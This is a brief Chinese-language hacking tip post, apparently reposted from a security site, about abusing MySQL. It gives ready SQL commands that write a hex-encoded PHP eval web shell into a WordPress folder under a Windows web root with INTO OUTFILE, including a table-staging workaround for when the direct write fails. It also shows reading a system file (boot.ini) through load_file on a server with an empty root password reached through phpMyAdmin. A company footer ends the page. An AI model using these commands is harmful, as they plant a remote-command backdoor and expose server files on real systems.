一点心得:
昨天在一个mysql数据库的console里面直接导出一句话的时候
用这种网上说的直接写出不成功
1
|
select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile ‘e://appserv//www// 91ri.org //modules//wordpress//app.php’;
|
还是老老实实建表再写 :
1
|
select code from text into outfile ‘e://appserv//www// 91ri.org //modules//wordpress//app.php’;
|
而且对于windows一定得用上面这样的形式的绝对路径
网上的大部分都是说的linux下的
=========================================
刚碰到一个root空口令的MySql,进phpMyAdmin,outfile成功,但是无法load_file。如下解决:
建表:
create table test (a text);
insert into test (a) values (load_file(‘c:boot.ini’));
select * from test;
成功解决。
link:http://nana.blackbap.org/?p=archive&id=21
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号